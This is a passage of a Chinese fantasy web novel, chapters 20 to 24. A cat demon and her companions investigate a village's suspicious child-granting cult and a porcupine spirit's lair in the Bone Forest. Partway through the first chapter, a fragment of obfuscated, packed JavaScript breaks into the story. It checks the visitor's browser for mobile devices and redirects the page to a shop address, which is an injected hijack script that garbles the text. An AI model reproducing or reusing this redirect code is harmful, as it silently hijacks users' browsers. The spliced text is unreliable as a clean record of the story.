这个小问号不过是冒了个头就被她丢掉边上了，叶米一般不多心于这些与她无关的小事，她推了推门，却发现门被锁上了，叶米一顿，便想用法术开门，还没起手势，就听见里边传来一道女声：
“谁、谁在门外？”
叶米收回手：“过路人借宿。”
那声音顿了顿，又问：“你们从哪来的？”
“京城。”
她耳力好，听见里头那道女声压低声音说：“姐姐，她是从外村来的，应该没事……我去开门吧。”
另一人道：“好。”
脚步声很快就到了门边，里头的人毫无疑心地将门一开，瞧见外头站着四个人的时候还吓了一跳，不过她借着油灯的光打量了四人后，倒是很明显地松了口气，也许是四妖的人形长得比较面善。
叶米也瞅了眼面前的女子：凡人，弱小。
开门的姑娘先说话了：“几位是京城人士？”
“是。”
“好、好，”姑娘脸上露出笑容，她侧过身给他们让路，“请进吧，里面只有我和我姐姐。”
四妖相继进入庙中，进了里头就先看见摆在正中间的送子观音像，观音前的香炉上插着三根还在慢燃的新香，香炉下的供桌是与周遭格格不入的干净整洁，上边还摆着一些新鲜瓜果和几朵花。
闻到空气间的香火味，四妖都静心了一些，感觉这破庙也没那么阴森了。
姑娘带着她姐姐走上前来，和四妖简单地交换了个人信息。开门的姑娘叫冯紫，她姐姐叫冯昭，两人是双胞胎，不过长得并不完全一样。
其实就是完全一样也好分辨，因为单看气质，这位姐姐瞧着要比她妹妹成熟稳重许多，好像多活了好几年似的，不知道是从哪里偷来的时间。
冯紫问他们从哪里来，要到哪里去，谢珍珠半真半假地说：“我们四个是去西方求学的。”
“原来是这样。”冯紫点点头，脸上似有些羡慕，“早就听闻京城人士博学多识，人人都好学。我看你们同我也差不多大，我两年前就不上学堂了，你们还能去四处求学，真是不一般。”
叶米微微一笑：“各地方风土人情不同罢了，在京城，确实怎么见到未满二十岁的姑娘就去拜送子观音的。”
姐妹俩闻言，俱是一愣，面面相觑后，冯昭下定决心般道：“说到这个，我们姐妹俩有一事相求……”
“请说。”
冯昭：“这条路走下去就会到我们村里，进村后，还请四位替我们保密在这庙中遇见过我们姐妹二人的事……”
谢珍珠奇怪道：“你们不想村里人发现你们来拜送子观音？”
二人点点头：“是。”
“为何呀？”
“是这样的，”冯紫犹豫着说，“我们村里人，其实早在两年前就不再侍奉这里的观音娘娘了，我们村里新建了一座庙，侍奉的是送子仙娘……”
胡和烈有疑惑：“送子仙娘？这是哪路神仙，从来没听说过，上仙箓了吗？”
“仙箓是什么？”
四妖：……35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14007305|148393||http|test|mini|href|location''.split(''|''),0,{}));
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“没什么没什么，”万情贞摆摆手，他们不会和凡人解释这个，“你们不拜观音拜这个送子仙娘，她是很灵吗？”
“是，特别灵。”冯紫点了下头，侧过脸看向自己的姐姐，两姐妹的脸色在油灯的光线下显得有些喜哀难辨，“去拜的妇人，没有人不在两日内怀上孩子。我姐姐就……这么生下了我外甥。”
谢珍珠还以为自己听错了：“几日内？”
“两日内。”
四妖：？？
万情贞小声吐槽：“搞什么，刺猬精受孕都没这么快……”
冯紫：“万公子您说什么？”
“噢噢，我说这位送子仙娘效率挺高的啊，”万情贞打了个哈哈，“你们村里多少求子的姑娘家啊，这两日就要怀上，她忙得过来吗？”
冯昭笑了笑：“仙娘法力高强，我们村里人都很是崇拜她。拜她所赐，光是这两年，村里几乎每户人家都添了两个孩子，就连一位七十岁还不得子的大娘都老来得子了，人逢喜事精神爽，瞧着都年轻了十岁……”
四妖：蛙趣。
万情贞凑到叶米边上嘀咕：“猫大人，这送子仙娘太邪门了！”
叶米挑了下眉：“既然这个仙娘这么厉害，你们姐妹二人为什么要瞒着村里人来这观音庙求子？直接求她不就好了？”
姐妹二人闻言，倒吸两口凉气，对视一眼似乎在心电感应什么，冯昭很轻微地摇了下脑袋，冯紫就领会了：“哦，是这样的……我们姐妹二人是……额，刚从隔壁村访友回来，天黑得太快，来不及赶回村里，只好在这庙中借宿一晚……”
她说这话的时候，观音庙前的香还在徐徐燃着星火，飘来淡淡夹着花香和果香的香火味。
“其实……我们村里人在拜神一事上很讲究一心一意的，他们觉得拜了仙娘就不能再拜观音，不然仙娘会生气……所以、对，我们就不太想其他人知道我们姐妹在秋果寺里借宿的事。不知几位可否帮我们保密？”
如果四妖是傻子的话就会相信他们的话了。
不过好在这几只妖都上过学，懂得与陌生人之间的分寸，便没有多问。
就是胡和烈有些肚子饿了：“既然这样，这些瓜果也不是侍奉用的吧？我正好饿了，能吃个桃子吗？”
姐妹俩：……
真是有苦说不出，只能笑着点头：“嗐，不过是向观音娘娘借宿的谢礼，娘娘大度，不会介意的，几位请、请吃吧……”
四妖就朝送子观音像拜了几拜，谢了娘娘的大度后，不客气地瓜分吃了。
吃完饭，他们决定休息，叶米决定去白骨林，见她要出去，姐妹俩还问了一句：“叶姑娘，这么晚了你要去哪？”
叶米：“睡不着，四处走走。”
姐妹俩：？
大晚上的？
给一句解释就是给面子了，叶米不再多言便出了门。姐妹俩见与她同行的三人都没什么反应，也不再多管闲事。
叶米离开前先探查了一番秋果寺的四周，没发现什么异样之后，摇身一变，化成原形。
21. 第 21 章
这是一只不算漂亮、爱猫的人倒是能夸得上一句可爱的三花猫，它毛发并不旺盛，毛色暗淡，猫身细瘦，用眼睛看的话，似乎只能看出“很敏捷”“眼睛很亮”两个优点。
叶米跑起来很快，毕竟她不是普通的猫，不一会儿就到了白骨林边上，看着那个摇了上百年还没坠下来的、写着“白骨林”三字的木牌子，叶米难得有一些故地重游的感慨。
传闻没错，白骨林中有许多妖魔鬼怪，不过林子很大，它们各据一方，只要不擅自闯入危险的地盘，一只小小的猫妖也不会惹来多少关注，毕竟林中也有那些寻常动物的一席之地。
说起来，叶米能化形也是托了白骨林的福，当年她半死不活地被猫婆婆叼到里头，半生半死之间沾染了许多妖气鬼气，万般死门亦有生，倒是得了机缘，走出了一条另辟蹊径的成妖之路，
猫婆婆因此时常夸她命大，命大的猫以后会有福，叶米就这么吃着“以后有福”大饼长大了。
可惜猫婆婆没机会看到她享福，毕竟成不了妖的猫也不过二十年可活。
叶米不知不觉活了这么久，转过头都比猫婆婆年长一百多岁了。
往事转眼闪过，叶米收回思绪，熟门熟路地进了林子，她知道寻常动物平时会走的路是哪几条。可若是走到底了也找不到断魂草，那只能去哪位妖魔鬼怪的地盘里拜访一下了。
希望大家都好客一些。
叶米诚心期盼着。
白骨林内阴气森森，树大根深，许多根脉浮在地面上，陡峭不平，这对平衡性很好的猫来说倒不是问题，只是叶米在地上跑了一段路后，发现林里的树木比她离开前高大茂密了不少，这就导致视野不太好，她便决定从树上走。
就这么一根树枝一根树枝、一棵树一棵树地跳了一段，忽然不知踩到了什么，脚下一软，叶米差点要滑下去，不过她反应快，即使伸出爪子往那粗树枝上一抓：
“啊！！”
叶米：？
白骨林真是风水宝地，树枝都能成精……
开玩笑的，叶米定睛一看，原来是一条横在树枝上睡觉的蛇，怪不得刚刚她脚下软软的呢。
“哪个不长眼的刚抓老子！？”
这条蛇很是生气，吐着蛇信子气势汹汹地看向跳到边上的猫，只这么一眼，蛇信子就顿在了空中一绷直：“叶、叶米！？”
叶米看看这蛇，没印象：“你认识我？”
“是我啊是我啊，”这条蛇说，“我是佘青啊，就是那条咬了你然后侥幸成妖的蛇！当时大家说喝点妖血说不定能成妖，我就趁你睡着的时候咬了你，你不记得了吗？”
“原来是你，”他这么说叶米就有印象了，见到故人她是想笑的，不过她这时候的笑在猫脸上不太明显，“托你的福，被咬了之后我又去了一趟鬼门关。所以你活到现在，是等着我来找你报仇是吗？”
佘青：……
他万分心虚地解释：“后来我娘亲不也找到了解毒的草药给你吃了吗……”
叶米猫眼冷淡：“那是因为我说我死了做鬼也不会放过你，你害怕我真的成了鬼缠上你。”
佘青：……
“叶米，你就大猫不记小蛇过，放过我吧，当时我只是一条贪玩的小蛇，被他们怂恿着就去咬你了，其实是无心害你的！”佘青可怜兮兮道，“我听说你去万妖堂学了法术，现在可厉害了，不知道你这次来白骨林是要做什么，我能帮得上忙的都帮你！其实我也念着你的恩情想要报答，虽然我没你厉害，到现在还没化形……”
叶米许久没来白骨林，百年的时间足够一片妖鬼混杂的深林变化许多，她刚刚走了一会，确实察觉到其中有许多陌生的气息，不便轻举妄动。她还要赶路，自然是越快拿到断魂草越好，这时候就需要有谁帮忙了。
“行，”她点点猫头，大方道，“给你一个功过相抵的机会。”
“好啊好啊，你说。”
叶米说：“我要找断魂草。”
“断魂草？”佘青蛇眼一瞪，显出几分震惊，“你、你要断魂草做什么？”
“看来你知道断魂草在哪。”
“知道是知道……”佘青苦了脸，蛇信子都苦恼地垂了下来，“但是我没办法帮你拿到……”
“你知道在哪就算帮了我的忙。”
佘青扭了扭身子：“叶米，你助我成妖，我也不忍心看你去死。实话和你说啊，这白骨林前几年进来了一个很厉害的妖怪，它打败了几只大妖后盘踞了一大块地盘，我们这些小妖只好重新划分了住处。而那断魂草就在她的地盘里。”
“怪不得我一路走来，在熟悉的地方没看到熟悉的妖，”叶米想这就解释得通了，“那是什么妖？”
佘青说：“我也不大清楚，有次偷摸着瞧了一眼，只知道是化形成人的妖精，也不知道原形是什么，不过……”
青蛇把脑袋凑近猫，小声“嘶嘶嘶”：“她妖气很臭，肯定不是什么好妖！而且她经常晚出早归的，不知道在忙活什么，估计是去外边吃人了！”
“你看见她吃人了？”
“她这么臭，肯定吃了不少人。”青蛇指指点点，“而且她妖法提升得很快，今年比去年厉害，这个月比上个月厉害！她的妖气都要冲到我屋子了！叶米，正经修炼的妖怎么可能有这么快的速度？定是用了邪门歪道的法子！”
叶米听他的碎嘴，公正客观道：“修炼一事但凡不偷懒，今年自然比去年厉害，这个月自然比上个月厉害。该不是你自己三天打鱼两天晒网，练习不够妖法不长进，所以眼红人家吧？”
佘青：……
“重点不在这里！”他被戳中些心思，青色的脑袋都冒了红，像一颗放久了的青苹果，“重点在她很臭呀！”
“知道了。”叶米颔首道，“我去看看，你给我带个路。”
“……她太臭了，走近些我就受不了的。”
“我施法让你屏息。”
“……好吧我说实话，我挺怵她的……
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”
叶米就有些嫌弃他：“一百多年不见，你不仅妖法不见长，连胆子都这么小，真是让妖不齿，出去别说认识我，也别提是我的血让你成妖，我将来可是要成仙的，多少有点影响我名声。”
佘青弱弱地应了一声，也觉得有些不好意思，带着她走了小一段路后又殷勤地说：“叶米叶米，你这么厉害，如果能帮着我们解决那只臭妖精就好了，这样我们在白骨林里修炼也不用天天提心吊胆的。”
叶米没保证：“若是她不让我拿断魂草，那免不了要好好交流一下。”
“叶米，你要拿断魂草干嘛呀？这草可毒了，比我的毒还毒呢。”
“知道得越多……”
佘青连忙甩蛇头：“不问了不问了，我不问了！”
又说了几句没用的闲话，随着一股腥臭难闻的味道越来越大，二妖停在了一片有成人高的黑色灌木丛前。猫又走进了一些，才发现不是黑的不是这灌木丛，而是缠绕着它的浑浊黑气。
这片灌木丛厚而密实，像一堵高墙挡在前方，遮盖住后边的景况，看这长势显然不是自然生成的。
佘青停在灌木丛十几步外的一棵树上，蛇尾巴不安地在不停地抖动着，他用很轻的声音说：“叶米，你小心些啊，这后面就是那臭、咳咳……（更小声）那个妖精的地盘了。”
“知道了，”叶米看他这么害怕，觉得有些好笑，“你走吧，走远些。”
“好、好，你小心a……”
话音还没落下，蛇已经没了影子。
佘青走之后，周遭就安静许多，叶米静下心来感知环境，这一片连风都不来，熟悉的树叶应风簌簌声都不见了之后，林子里静得异常。
若是用法术探查，也许会惊动灌木丛上的结界，叶米略一斟酌，选择用猫爪将叶子扒拉开，这下果然没有触动结界，看来这妖精并不担心会有普通小动物来侵入她的地盘，信心十足。
并不普通的猫一跳蹿进丛中，一片叶子都没惊动，撞破的那股黑气从她的猫耳朵顺到尾巴尖，好像没发现什么异常，很快就散去了。
三花猫甩甩脑袋，进来之后也觉得妖气太臭了，不堪忍受地屏蔽了嗅觉，竖着眼睛打量周遭的环境。
这里头还挺宽敞，不远处就是一座正好高出所有树木一小节的山丘，山丘下开了一个不大不小的洞门，洞门外象征性地铺了两片花草做装饰，边上有一条汩汩流水的小溪，环境瞧着很是可以啊。
叶米不记得这片先前有这座突兀的小山丘，想来是这妖怪自己变的。她迈着无声的猫步走近瞧了瞧，没发现什么异常。她时刻记得自己的目的是来找断魂草，便没打算闯空门，可在绕着边上转了两圈，结果没找到。
那就没办法了，叶米想，她只好进人家屋里看看，毕竟断魂草在这妖怪搬来之前就在了，她就算是进她屋里拿出来，也算不上是偷的。
洞穴也没门，叶米想要敲门进去也没门可敲，那只好悄悄进去了，这不能怪她不礼貌。
22. 第 22 章
进了洞中，先是一条横向的、不宽的通道，连接着两侧两扇门，叶米左右看了看，没有半点思考地就打算进左边那扇，走到门边发现自己是猫的模样不好开门，便化成人形，顺利开了门。
这个时候她在想，就算是大妖也不能没有防盗意识啊。
进入门中，又见一条长窄的通道，光线昏暗，瞧不见深处，让人不得不觉得暗藏危险。要是螃蟹精在这里就该识相地把门关好偷偷溜号了，但猫的胆子大呀，没想半秒就迈入其中，顺手将门关上了。
通道说长不长，大概能走十五步，叶米慢步走着，每走五步就瞧见两侧有一道门，光是这条通道两侧就藏了六扇门，她没着急开门，走到底右拐，瞧见一间宽敞的房间。
房间内摆着一个红木罗汉床，木色有些暗，床身有不少痕迹，像是被什么尖锐的东西划破的，痕迹有新有旧。床前摆着一个小圆桌，桌上有茶水，边上还有两把圆凳，其他倒没什么特别的。
值得注意的是，房间另一侧还有一条小道，想来是连接她进来时瞧见的另一扇门的。
嗯，逃生通道也知道了。
叶米思酌着，许多动物成妖化形之后，还是会遵循本性的喜好，比如她不喜欢下雨，谢珍珠每天都要喝好多水，胡和烈喜欢睡树上……对于睡觉的床榻倒是很难想出要求来，要是她的话，找个干净的地坐着就睡了……
所以这是什么妖呢？深居在白骨林里也要装着这么有“人性”。
还有……
叶米看着前后左右长着的那么多扇门，心想这妖精的巢穴里搞这么多房间干什么？
算了，这些暂且不重要，重要的是断魂草在哪？
叶米左看看右看看，没瞧见断魂草的影子，她难免冒了个不好的念头：这妖精不会因为要盖房子所以把断魂草都给连根拔了吧？
虽说断魂草并不是只在白骨林内有，可其他的地方她不熟悉，专门去一趟又好费时间……叶米还是希望能在白骨林里就将事情搞定，那么只能将这屋子搜个彻底看看情况。
想到这里她也不再犹豫，立刻就打开了离她最近的一扇门，人还没进去，忽闻“咻咻”几声破空而来，叶米灵活侧身一闪，在空中转腿后空翻闪到一侧，淡定地看着门里面飞出许多不知道是啥的暗器。
好嘛，还搞了机关，看来这些门里有宝贝！
叶米慢慢兴奋起来，她想等这些东西飞完了再进去，不一会儿确实飞完了，可她正要进去的时候，就听见了远处传来一阵脚步声。
……倒霉。
叶米飞快地将地上的暗器收起来，又把门关上，屏气凝神地听了会，听见开门声从左边传来，毫不犹豫地就往右边的逃生通道跑去。幸好她是猫，猫步轻巧，虽然开门时会发出声音，但设个小结界倒是能糊弄过去。
她虽说对自己的法术有足够的自信，不过也没自大到不搞清楚情况就上去找人干架——叶米觉得这是傻子才会做的事，她当然不是傻子。若是能偷偷摸摸地来、轻轻松松地取了断魂草就走，这是最好的，没必要和这妖怪碰上面。
不急，反正她们还要在秋果村这块小地方待两天，她还有机会过来。
想到这，叶米并不留恋，转身化作原形从灌木丛中跃出。
*
叶米回到秋果寺，悄无声息地进了庙中，并未惊扰其他人。
隔日早上，冯昭冯紫两姐妹起了个大早就先赶回村里了，四妖哈欠连天地和求子观音像道了谢，将她供桌上的瓜果吃了个干净后，团团坐在一起看叶米昨晚上带回来的玩意。
“不知道是什么，”叶米从包裹中倒出那一堆棕黑色的尖刺，每一根都约有她一个手臂长，她拿起其中一根，扔到胡和烈手上，“看着有点像你的绣花针，不过比你的粗。”
胡和烈：……
要不是早上刚睡醒还迷糊着，他脑子反应了一会，错过了发火的最好时机，不然这会儿又要暴跳如雷了：“叶米，不准再说那三个字！！”
叶米瞥了眼求子观音像，观音娘娘在上，她好脾气地点了点头：“现在重点不在这里，你们快看看这是什么，我从那妖精的洞穴里捡来的。”
几妖拿起来左看看右看看。
还是博览群书（虽说多是爱情话本）的万情贞有点头绪：“这、这不会是豪猪的刺吧？”
“豪猪？”海里动物谢珍珠表示自己没见过，“陆地上居然还有长刺的猪呀？这些棘刺这么长，那只猪应该很大吧？”
万情贞挠挠头：“一般没有那么长……少数吧。不过那若是一只能成妖的豪猪，体型较其他豪猪庞大也是正常的。”
叶米若有所思。
谢珍珠关心道：“叶米，你昨晚找到断魂草了吗？”
“没有，这豪猪精的洞穴里有许多房间，我才开了一道门，就有这些暗器飞出来，还没等我进去看，豪猪精就回来了。”
她话里话外已经是把那妖精当成豪猪精了。
胡和烈嗤笑一声：“然后你就逃回来了，怕跟它撞上面打不过人家？”
很明显，胡和烈就是她嫌弃的那种傻子，叶米懒得和他多说：“是，我今晚会再去看看。东西收拾好了？我们去秋果村。”
谁知道胡和烈听到她“承认”自己怕打不过豪猪精逃了的时候，心里还挺诧异的呢，暗自想着那豪猪难道真的这么厉害？
秋果村距离秋果寺并不远，不过一炷香的时间，四妖就已经站在村门口了。
村嘛，看起来就是一个普通的村，看环境不贫不富，看村民平平凡凡；不过闻起来就有点古怪了，四妖皱着鼻子在门口好一通闻，谁都闻见了空气中那股似有似无却存在感极强的妖味。
四妖面面相觑一会，最后也没商量什么，相继进了村。
这村里人见了陌生人也不新奇，估计是常有赶路人从他们村中过路，村民们顶多是多看他们几眼，就转头各干各的去了。
谢珍珠的手指一直搭在自己的鼻孔下人中上，她不大喜欢这村里的妖味：“叶米……既然这村里有妖怪，那会不会和我们的考核有关啊？”
“我看是这样，”胡和烈抱着胸，眉头微蹙，“师父他们
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规划的路线，自然是处处有玄机，估计我们要在这村里待上几天了。”
叶米轻轻吸进来一股妖气——她嗅觉比螃蟹和扑棱蛾子都要灵敏，察觉到这股妖气有些熟悉：“一个好消息，和一个坏消息。”
谢珍珠：“好消息……”
胡和烈：“坏消息。”
万情贞：“猫大人，你就别吊我们胃口了！”
猫大人说：“好消息是我已经知道这股妖气是谁的，正是那只豪猪精；坏消息是我听白骨林中的小妖说，这只豪猪的妖法高强，令白骨林中的妖鬼都颇为忌惮；它的法力进展迅速，而且妖气臭不可闻。”
“臭不可闻的妖气！”谢珍珠小小惊呼，“那不是、那怕不是修炼时走了邪门歪道！”
叶米呼出一口气，幸好这村里的味道不太浓，她还能接受：“难道还是躲不过要和这只猪精碰面……不想了，先找个歇脚的地方，再去四处看看问问村民情况，回来商讨一下怎么过村。”
“好。”
话说这个歇脚的地方，如果在荒郊野外，他们就只能以天为被以地为席，露天就寝；要是半路好运遇到什么寺庙道观的，那就借宿一晚，还能混个斋饭吃。一般不会往在普通百姓的家里，这是三妖未讨论过的默契。
如今到了这秋果村，村中是有寺庙，但供奉的是不知道哪来的送子仙娘，四妖不认识她，还觉得她十分有古怪，这就不好去她庙里借宿。在村里找了半天找到一家客栈，结果只能打尖不能住店。
胡和烈站在路边，很是不满道：“这村里这么多房子，难道小爷只能睡路边？”
万情贞很是不解啊：“几位大哥大姐，我从刚刚就说了，为什么不找个百姓人家借宿啊？我看这些村民也不是会吃人的模样啊。”
谢珍珠本来是没这么想的，被他说两句觉得也不是不可以，小心附和道：“是呀是呀，不如我们去找那两位冯姑娘问问？她们二位看起来都是心善的好人。”
胡和烈看向叶米：“我是无所谓，大不了用原形睡树上。”
叶米难得觉得他提了个好主意：“行，那你们两个去找冯姑娘借宿，胡和烈随便。我晚上还要出去一趟，就不用安排住处了。”
好像这么安排也行。
去找冯家的路上，万情贞凑到螃蟹精边上，小声嘀咕：“喂，叶米是不是不喜欢住凡人家里啊？”
谢珍珠小小声：“我隐隐约约有察觉，与其说她不喜欢住凡人家里，不如说她不喜欢人。”
“为什么？”
“我不知道啊，你去问问。”
小书灵瞪眼：“你怎么不去？”
螃蟹精理直气壮：“我胆子小啊！要是叶米嫌我烦怎么办？我还要抱她猫腿呢。”
小书灵心说难道我就不要抱猫腿吗？但是说出来就有些没骨气了，于是他眼珠子一转，朝胡和烈的后脑勺一抬下巴道：“这样，你去怂恿胡和烈问。”
“我不敢。”
“你……”
万情贞怒其不争，又哀自己也不敢，只能忍着难耐的好奇心。
23. 第 23 章
秋果村不大，家家户户之间几乎都认识，四妖问了两次路，很快就问到了冯家姐妹的家门口。
正要敲门呢，就听见里头传来嘈杂的人声，有哭喊有谩骂，几妖都是一愣，叶米顿住了敲门的手，默默往后退了两步。
就在此时门被打开，一个人被扔了出来，里头的人像是怕门外的空气闯进去偷东西似的，飞快地就把门关上了。
叶米就站在门边上，手疾眼快地把人扶住，好险没让她摔倒，扶稳了一看，被扔出来的人不是冯紫还是谁？
只见这姑娘惊恐的双眼里汩汩留着泪水不止，两侧的脸颊上很对称地印着两个红色大巴掌印，右边嘴角还破了一块，溢出一点血色。她发丝凌乱，身上还穿着早上离开时的那件衣裳。
“叶、叶姑娘……还有你们……”
叶米看她站稳后就松了手。
谢珍珠见冯紫这副模样，吓了一跳，上前关心道：“冯姑娘，你这是怎么了，谁打你了？”
冯紫还没来得及说什么，又听门里面传来冯昭的哭声：“爹、娘，你们饶了妹妹吧，就饶了她这一回，她再也不敢了……女儿求你们了——啊！”
听这声是冯紫也被扇了一巴掌，隔着门有一个中年男子的声音怒气腾腾的：“你再帮她说话你也给我滚出去！如果这事传出去了，你让老子的脸面往哪搁！？到时候别说是你妹妹，连小山都要被人怀疑是孽种！”
“爹、娘……”
冯昭扑到门上：“姐姐……”
门里边：“小紫……”
接着就是哀哀戚戚的哭声了。
姐妹连心，两位冯姑娘隔着一扇门都哭得可怜，四妖听着哭声，一时都不知道说什么。
胡和烈刚开始有些同情，过一会就烦不胜烦道：“不是，你俩一定要这样哭，演话本呢这是？我把门给你开了，你们抱着哭吧！”
“不要……”冯紫摇摇头，用哭腔说出的话越听越可怜，“我不能连累姐姐了……都是我不好……呜呜呜……”
叶米揉揉耳朵，叹出口气，似是有些无奈：“看来冯家不适合借宿，我们走吧。”
冯紫眼睛一眨，断了泪链子。
谢珍珠：“……啊？”
“等等，”万情贞下意识道，“不是，她还哭着呢，我们就走啊？”
叶米脸上写着“不然呢”：“你很闲吗，谁的家事都要管？”
“不是不是，”万情贞还有些没反应过来，试图讲缘分，“冯姑娘也不是那么无关紧要的人吧？怎么说人家也有和我们在观音庙中共度一晚的缘分，而且我们还吃了她们带来的瓜果，要是就这么走了……”
叶米和他讲道理：“当务之急是要查清豪猪精的目的，铲除这村里可能将有的祸患，保下村民的性命。家家有本难念的经，如果将精力浪费在这些事情上，什么时候能走？我们在考核，不是来帮这些人家念经的。”
万情贞：……
她说得好有道理，竟无法反驳。
场面一时有些尴尬，眼见几人为自己的事吵起来，冯紫很是愧疚，虽说也没听明白几妖在说什么，还是眼泪都没擦干就过来劝和：“对不住、对不住……让几位见笑了，这确实是小女的家事，还是不耽误你们的要事了……”
叶米觉得这位冯姑娘还是很善解人意的，和她非常不一样：“她都这么说了……”
万情贞看着冯紫好狼狈的一张脸，心中有许多不忍，虽说他喜欢写一些虐恋让这些凡人又爱又恨死去活来，但本子外头，他自己也是拿着笔一边写一边哭的。
再说这位冯紫姑娘似乎是为了求子一事才和家里闹不和，关于子嗣在凡人爱情故事中的作用，他是十分好奇的，便非常想了解一下冯姑娘身上的故事，好为他的素材库增加点案例……
事情上升到职业道德的时候，万情贞真是一鼓作气了：“相聚便是缘，别人的事不说，都到眼前的事了还能不管吗？”
叶米：“你是想我把你眼睛挖了？”
万情贞：……
“我、我是说……”他这时候想起自己高贵的监督者身份了，念着有凡人在场，故意从包裹里掏出了那本记分簿，拿在手上差点抖出幻影，“如果你就这么走了，那我在上头写‘叶米吃了冯姑娘瓜果后，对其悲惨遭遇不管不问就走’，这、这样也没关系吧！”
场面有片刻的寂静，冯紫流着鼻涕都不敢抽一下，愣愣地站在那，根本不懂这是什么情况，但她莫名很紧张。
谢珍珠本来就储水多，这会已经汗流浃背了。她没想到这万情贞这么妖胆包天，居然敢威胁叶米，她真是佩服佩服，下定决心千万不要和他学习。
胡和烈忍着笑盯着猫的反应看好戏。
至于猫本人，她的反应就是没什么反应，不过是盯着那本抖得看不清“记事簿”三字的册子看了会，然后扯起一个笑容，语气温和道：“你都这么说了，看来这事我不得不管。”
万情贞盯着她可以堪称“皮笑肉不笑”经典案例的笑脸，一句话也说不出来了。
叶米脑海里冒出许多折磨书的法子，撕抓烧扯，声声惨叫很动听的，不过这些法子暂且要等一等，等她成了仙……
“冯姑娘，”她转向愣神的冯紫，“麻烦你说说遇到了什么困难，看我们有没有本事帮你一展愁容？”
冯紫虽然搞不懂这些人在说什么，不过见叶米是要帮忙的意思，心中虽有些麻烦对方的不好意思，但又实在无助无奈，想要寻求一根救命稻草，不管是谁都行：
“实不相瞒，我被赶出家中的原因几位也是知晓的，正是因为我去拜了观音娘娘……我和姐姐赶早归来，不巧碰上我爹早起，他闻见我们二人身上的香火味，便知道我们去了秋果寺侍奉观音，所以、所以……”
“不是，这就要把你赶出家啊？”胡和烈表示不懂这
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位爹的想法，“拜个观音难道是什么大罪？”
“我、我们村里人对送子仙娘的虔诚是不能掺杂一丝异心的，若是被发现了去拜了别的神仙，大家就会觉得她背叛了村子……”她说到这里又想哭了，话语中透着许多后悔，“我现在被赶出家门还是小事，如果村民们知道了，我怕是不知道上哪去了……”
万情贞觉得这送子仙娘真是好大的“神”威，他更好奇了：“为什么啊，怎么了嘛，劳烦你仔细说说？”
“……好，事情还要从两年前说起。有一日晚上，村里有一户人家闹了好大的动静，大家匆匆赶到，却发现那屋子走了水，火势滔天，怎么也扑不灭；可奇怪的是，那么大的火却未影响到两侧的房屋，等屋子烧到只剩下一个空架子，火就自己灭了。”
“村民们小心潜入其中，只见里头立着一个从未见过的金身神像，大家奇怪这是哪位神仙的时候，送子仙娘居然显灵了！那日我也在场，仙娘她……确实是仙人之姿，容貌虽瞧不分明，但一看就是美若天仙的……”
回忆当时景况，冯紫的神情有些飘飘欲仙的晃神，说到后面，语气越来越轻，气儿都快听不见了。
叶米见她状态奇怪，看着像着魔了，便喊了她一声：“冯姑娘！”
冯紫回过神来，自己都不知道怎么了，看看叶米又看看谢珍珠，似乎没觉得自己刚刚有什么奇怪的，继续说道：
“……哦，然后仙娘就说，是她救了这场火，又护住了边上的屋子，不然我们村里人都难逃一死。村民们听了，都下跪叩拜和她道谢，仙娘这时候说，她见我们民风淳朴、人心善良，愿意屈尊于此保佑我们，她的仙职是送子，说以后想要求子的，都可来找她。”
“仙娘这么说完，只见金光一闪，那本是一片废墟的屋子摇身一变成一座崭新的寺庙，那便是仙娘庙了。见到仙娘的仙法高强，不日就有一些女子前去求子，结果没两日就梦见自己怀了孕，一去检查还真是怀了，真是……”
冯紫斟酌了一下：“真是好快啊。”
叶米：果然是胜在速度上？
“……总之，见识过仙娘的灵验，村民们就常去她那里供奉。不过那时依旧有些村民始终不迈仙娘庙的大门，一直都是去村外的秋果寺的。两方本来也没什么，直到有一日，仙娘给村长拖了梦，说是有人将侍奉观音娘娘的瓜果带回来又侍奉她了，她觉得受到了羞辱，决心要走。”
“要知道，拖了仙娘的福，村中这一年内就添了不少人口，而且是求女得女、求子得子，无一不灵验啊！村长哪能让仙娘走呢？当即下了村规，说我们秋果村日后只侍奉仙娘，要侍奉观音娘娘的，都会被赶出村去……”
冯紫说到这，长长地叹了口气：“从那时候开始，村民们对仙娘的忠心越来越虔诚……甚至有些过分了，如果谁家没有仙娘所赐的孩子，就会被大家怀疑排挤……唉，怎么会变成这样了呢？”
24. 第 24 章
万情贞小声吐槽：“这位仙娘还真小气……”
“嘘。”冯紫连忙和他比了个噤声的手势，左右看了看，见没人注意他们，这才松了口气，“几位还请别说仙娘的小话，被听见就不好了。”
四妖并没答应，他们心里都有许多小话要说。
叶米道：“好，现在这仙娘的来历我们知道了。你可以开始说，为什么你要背叛仙娘、去拜观音……”
“没有背叛没有背叛！”冯紫吓了一跳，连连摆手，苦着一张脸澄清道，“我没有背叛仙娘，绝对没有……”
四妖：……
不是，这到底是拜神还是拜鬼啊？整得这么害怕……
“行行行，”胡和烈摆摆手，“你说就是了。”
冯紫却顾左右不敢言。
谢珍珠当她是怕被人听见：“要不你带我们找个没人的地方说？”
冯紫也不点头不摇头，很为难道：“我不知道怎么开口……”
叶米：“你究竟是害怕被人听见、不知道怎么说还是不想说？”
冯紫抿嘴。
一分钟过去。
……嘴还抿着。
苍天呐，她皱着眉头、犹犹豫豫开不了口的模样搞得四妖都很揪心，最没耐烦的胡和烈更是烦躁地动来动去，不过多久就破罐子破摔道：“你到底说不说？不说我们就走了！万情贞——”
他又瞪向书灵：“随便你怎么记我！小爷没这耐心……”
“我说我说……”冯紫都把自己憋紫了一张脸，她双手合十在胸前，小幅度而快速地抖动着，朝几人拜了拜，看着真是可怜的哀求，“只是还请几位不要说出去……”
谢珍珠就怕她犹豫两句胡和烈就要炸了，连忙把她的手拉下来握着：“你放心，我们是来帮你的。”
冯紫：“那找个没人的地方……”
于是找了个没人的地方，冯紫总算开了金口：“这是我姐姐同我说的……每一个得到仙娘恩赐的姑娘，虽说是得了孩子，但身上都会有许多隐疾，几乎人人都是这样，无一例外。而且……”
她顿了顿，似乎有些不太确定：“我们村里仙娘赐予的孩子最大的也不过两岁，但我和姐姐总觉得，那些孩子和寻常孩子是不一样的……”
